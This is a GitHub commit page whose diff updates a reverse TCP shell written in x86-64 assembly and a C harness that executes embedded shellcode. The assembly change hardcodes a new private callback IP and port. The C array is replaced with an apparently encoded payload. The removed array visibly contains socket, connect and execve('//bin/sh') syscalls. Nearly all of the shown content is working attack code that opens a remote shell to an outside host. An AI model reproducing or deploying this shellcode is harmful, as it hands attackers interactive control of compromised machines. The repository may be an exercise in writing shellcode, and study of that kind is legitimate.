Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Commit 5f8abfd

Browse filesBrowse files
author
rwx777
authored
Add files via upload
1 parent 02ed760 commit 5f8abfd
Copy full SHA for 5f8abfd

File tree

Expand file treeCollapse file tree

2 files changed

+12
-3
lines changed
Filter options
Expand file treeCollapse file tree

2 files changed

+12
-3
lines changed

‎Reverse_TCP_shell.nasm

Copy file name to clipboardExpand all lines: Reverse_TCP_shell.nasm
+2-2Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,8 @@ _start:
1919

2020
;Creating the structure
2121
xor rax, rax
22-
push dword 0x040200 ;IP
23-
push word 0x204 ;Port
22+
push dword 0x04b2a8c0 ;IP
23+
push word 0xd204 ;Port
2424
push word 0x02
2525

2626
;Move stack pointer to RSI

‎shellcode-exec.c

Copy file name to clipboardExpand all lines: shellcode-exec.c
+10-1Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,16 @@
11
#include <stdio.h>
22
#include <string.h>
33

4-
unsigned char code[] = "\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
4+
unsigned char code[] =
5+
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
6+
"\xff\xff\x48\xbb\xcd\x3a\xd1\x61\x65\x6c\xbb\xa9\x48\x31\x58"
7+
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa7\x13\x89\xf8\x0f\x6e"
8+
"\xe4\xc3\xcc\x64\xde\x64\x2d\xfb\xe9\x6e\xc9\x1e\xd3\x61\x74"
9+
"\x30\xf3\x20\x2b\x50\xc1\x3b\x0f\x5d\xe3\xa6\xc8\x63\xbb\x53"
10+
"\x3d\x63\xbe\xe1\x5b\x50\xfa\x39\x6a\x69\xeb\xff\x92\x50\xd8"
11+
"\x39\xfc\xda\xab\xe1\x44\xec\x9c\x50\xac\x06\x99\xe8\x97\x88"
12+
"\xd6\x6e\x60\x24\x2d\xe1\x5a\x65\xde\x64\x9a\x8a\xbb\xa9";
13+
514

615
int main() {
716
printf("Shellcode Length: %d\n", (int)strlen(code));

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.